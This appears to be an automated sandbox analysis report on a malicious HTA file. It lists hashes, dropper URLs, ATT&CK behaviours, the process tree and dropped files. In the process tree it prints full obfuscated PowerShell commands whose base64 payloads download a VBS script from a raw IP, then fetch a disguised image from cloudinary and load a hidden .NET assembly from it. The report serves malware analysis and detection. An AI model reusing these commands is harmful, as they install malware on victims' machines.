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Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16/12/2024, 06:11

General

  • Target

    clearentirethingwithbestnoticetheeverythinggooodfrome.hta

  • Size

    144KB

  • MD5

    5215d83b478d7a718062863c5efbbeeb

  • SHA1

    9ac735295a8b3bc10740d50669f6fa5c81ae10ce

  • SHA256

    af6c6b710e9a4c5e2d8b53642779548a4edcd528cd7e5714c6ac9d69f38efb80

  • SHA512

    b1ea72019653fa7858aa1b6ad1fa3fcf6974ade703be0edd55f891030706fc675425e5f1372dc3a61671dff5e40e6baceba019af60711cd65a248f7cecbca915

  • SSDEEP

    768:t1EZFxaTOum2oum2M5KUJDVUKhCbGVf/AMF9woN83WkkA7MhrkK0IHj66666666l:tg

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\clearentirethingwithbestnoticetheeverythinggooodfrome.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWERSHELL.Exe -Ex byPasS -nOp -w 1 -c DEvIceCRedeNtiAldEPLOYmeNt ; InVokE-exPREsSiOn($(inVoKe-EXPResSiOn('[SysteM.Text.encOding]'+[chaR]58+[CHAr]0x3A+'UtF8.GeTsTriNg([SYSTEm.convERT]'+[cHar]58+[chAR]58+'FRoMbaSE64stRinG('+[CHaR]0x22+'JERjRkpzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUmRFRklOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpSUZxTmtqbCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkZoc0dSLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSE1KaGh1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB4a0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIllQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRkaU5YdHJnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERjRkpzOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTIyLjE1OS8xMjEvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pbmdvbi50SUYiLCIkRW5WOkFQUERBVEFcL3NpbXBsZWdyZWF0ZmVhdHVyZXN3aXRobmljZXNwZWFraW5ndGhpbmdzZW50aXJlbGlmZWdvaS52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7SU52b2tFLWV4UFJlU1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVwvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pLnZiUyI='+[ChAR]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWERSHELL.Exe -Ex byPasS -nOp -w 1 -c DEvIceCRedeNtiAldEPLOYmeNt ; InVokE-exPREsSiOn($(inVoKe-EXPResSiOn('[SysteM.Text.encOding]'+[chaR]58+[CHAr]0x3A+'UtF8.GeTsTriNg([SYSTEm.convERT]'+[cHar]58+[chAR]58+'FRoMbaSE64stRinG('+[CHaR]0x22+'JERjRkpzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUmRFRklOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpSUZxTmtqbCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkZoc0dSLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSE1KaGh1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB4a0IpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIllQIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRkaU5YdHJnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJERjRkpzOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTIyLjE1OS8xMjEvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pbmdvbi50SUYiLCIkRW5WOkFQUERBVEFcL3NpbXBsZWdyZWF0ZmVhdHVyZXN3aXRobmljZXNwZWFraW5ndGhpbmdzZW50aXJlbGlmZWdvaS52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7SU52b2tFLWV4UFJlU1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVwvc2ltcGxlZ3JlYXRmZWF0dXJlc3dpdGhuaWNlc3BlYWtpbmd0aGluZ3NlbnRpcmVsaWZlZ29pLnZiUyI='+[ChAR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xwfvt9on.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2244
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESADFC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCADFB.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2676
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\simplegreatfeatureswithnicespeakingthingsentirelifegoi.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2784
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $capellmeister = 'JG5vbmV2YWx1YXRpdmUgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskZXJ5dGhyb3N0b211bSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHBpZWhvbGVzID0gJGVyeXRocm9zdG9tdW0uRG93bmxvYWREYXRhKCRub25ldmFsdWF0aXZlKTskcGxhY29kZXJtYXRvdXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcGllaG9sZXMpOyRiYW5kYm94ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyR5ZW1hbiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHByZWxhY3kgPSAkcGxhY29kZXJtYXRvdXMuSW5kZXhPZigkYmFuZGJveCk7JGZhbWVkID0gJHBsYWNvZGVybWF0b3VzLkluZGV4T2YoJHllbWFuKTskcHJlbGFjeSAtZ2UgMCAtYW5kICRmYW1lZCAtZ3QgJHByZWxhY3k7JHByZWxhY3kgKz0gJGJhbmRib3guTGVuZ3RoOyR3aXRlbmFnZW1vdCA9ICRmYW1lZCAtICRwcmVsYWN5OyRzb3Bob21hbmlhYyA9ICRwbGFjb2Rlcm1hdG91cy5TdWJzdHJpbmcoJHByZWxhY3ksICR3aXRlbmFnZW1vdCk7JGdyaWZmaW4gPSAtam9pbiAoJHNvcGhvbWFuaWFjLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRzb3Bob21hbmlhYy5MZW5ndGgpXTskYXV0b3Bsb2lkeSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGdyaWZmaW4pOyRsZWRlcml0ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGF1dG9wbG9pZHkpOyR1bmJpb3R1cmJhdGVkID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHVuYmlvdHVyYmF0ZWQuSW52b2tlKCRudWxsLCBAKCcwLzFEYkJwL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckYmFja3NjYXR0ZXJpbmdzJywgJyRiYWNrc2NhdHRlcmluZ3MnLCAnJGJhY2tzY2F0dGVyaW5ncycsICdDYXNQb2wnLCAnJGJhY2tzY2F0dGVyaW5ncycsICckYmFja3NjYXR0ZXJpbmdzJywnJGJhY2tzY2F0dGVyaW5ncycsJyRiYWNrc2NhdHRlcmluZ3MnLCckYmFja3NjYXR0ZXJpbmdzJywnJGJhY2tzY2F0dGVyaW5ncycsJyRiYWNrc2NhdHRlcmluZ3MnLCcxJywnJGJhY2tzY2F0dGVyaW5ncycsJycpKTs=';$hypoxanthine = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($capellmeister));Invoke-Expression $hypoxanthine
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2736

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabCB9B.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESADFC.tmp

    Filesize

    1KB

    MD5

    16b7c88b5ce355216f74dca85c93693c

    SHA1

    7514e852856b8d783896a4edd83bcba16f4128b2

    SHA256

    acfc3e3c7b51a03e960d7c9c3e450ddb5a5361dc488378fa4a5067e53bd49705

    SHA512

    aea9c423bfa51c47a8f886693989046215181dd1a92c571c21d12b84d9194776d593842759f95ecf9a48e196d6244882d0090743c3eb87658beabc10016611bc

  • C:\Users\Admin\AppData\Local\Temp\TarCBDC.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\xwfvt9on.dll

    Filesize

    3KB

    MD5

    8cd2d7395dc9351f2cb986ee13c143f2

    SHA1

    b85361ea9a7dbb413e7c44709bbc268455b222cc

    SHA256

    d33be1996b7d3ec922a30442301637287520ea26d7a03dce97a3f97f1a803015

    SHA512

    029a5c3fed83b1ffd98cfcd7bdbd57eaa9cecd91906617336cf3540a4127dc90addb6d5ed3d18520605e14c2d091df690b1c8e73e3881893cd9e3189b643b59f

  • C:\Users\Admin\AppData\Local\Temp\xwfvt9on.pdb

    Filesize

    7KB

    MD5

    8d33258f0b7a19ecf363ca3c6a0c211a

    SHA1

    6ffa47fd64cd1cb00f06040afe234a0db61684cf

    SHA256

    f3e363546778a3b3a1d5415c1cddd862c83bbd249c41b04062e4e43ef97e818c

    SHA512

    4e26ac4de5b69b352f62836ff51401fc4c2c5e988663e4e7065741febb4b7aa658fd8227c0bdf104b5d4a24eb3a94958ceedfbba68eeb4f258acd57cfa6f83c4

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    8ecaeb97f1cbcd72d5a9b82811ffe81a

    SHA1

    df4412a6e86788a686918fb1ff101f2c143e1b2f

    SHA256

    f1340abbbdc53de57ed46d9330fbfef3a7dfb6f838f2c9c56b52247bccf045be

    SHA512

    595cef59c19b84757ad6358b60534c387043959372b13934d1f5387e3fbf2a89bb16098566d3b2f83e80d51d3fbd098502d903495947ce96d08f2f12a0d7ce8d

  • C:\Users\Admin\AppData\Roaming\simplegreatfeatureswithnicespeakingthingsentirelifegoi.vbS

    Filesize

    150KB

    MD5

    2e124153be958647e84566b305ecf94e

    SHA1

    d7d06fe6314ee8e4c31a971872632477ede38248

    SHA256

    5b5835cebcc79ae42d3edc11ddca5e2f6c4bf333e78d1b2d0733a091a9fd887e

    SHA512

    9bb7f048cfa817e406d63affc034ea89f7beb6dd584521d5b1a531a032e22470bb9e9c8a12931b5838a77267acf5fe64e8e788caee49c014348b75925614e450

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCADFB.tmp

    Filesize

    652B

    MD5

    195cfb617a641550ea3fa75f19296c03

    SHA1

    1b1cf0e7469402a594c7c6e6c38b8af981f21526

    SHA256

    b015af54dce0c6dcadffa20aff318bfc850d8650c85628be8800ef583e40a7d2

    SHA512

    641b3972f32bdaca5401b6470a705371e569093d5a994baa7fe277f3eb3e66041b4c7006d1b79621e67f9cdcd01ca16fd1f236162c1c47609075ab6325bb386a

  • \??\c:\Users\Admin\AppData\Local\Temp\xwfvt9on.0.cs

    Filesize

    475B

    MD5

    0c431e10cf228fe2c475697b04ff0ebb

    SHA1

    04439e5d97e5c2e03f57caf24564925b32d644cb

    SHA256

    f0514c83d3a0460e90e267fbb96546f4b5890906eb7ea94799c38ec743fb91ae

    SHA512

    954a57476daa5408f0ff679972741e63e8fe61ff20bdefc40b83ad6ff633b0a7d5d3ddce7cfaff0a5ff0bc2300704f6c5639adbf44f38a818d22644814e5efcb

  • \??\c:\Users\Admin\AppData\Local\Temp\xwfvt9on.cmdline

    Filesize

    309B

    MD5

    542c6b9f626fe88cc5abdf648f368a4f

    SHA1

    e83c402baa9e27fe761dd00b1eb2bf3a3052951e

    SHA256

    07f26bbdac3f6dbacc143ecb3251c88a6e9152d75a22a84c788108b4a2010751

    SHA512

    ca3975417b3a5c8da9f49c6534a7e31af4c9c267ec595af25bbaadbf51a204202d7f14529dda2dc0dc42826aeb4be5390b74840de692b670b99450f325bb700d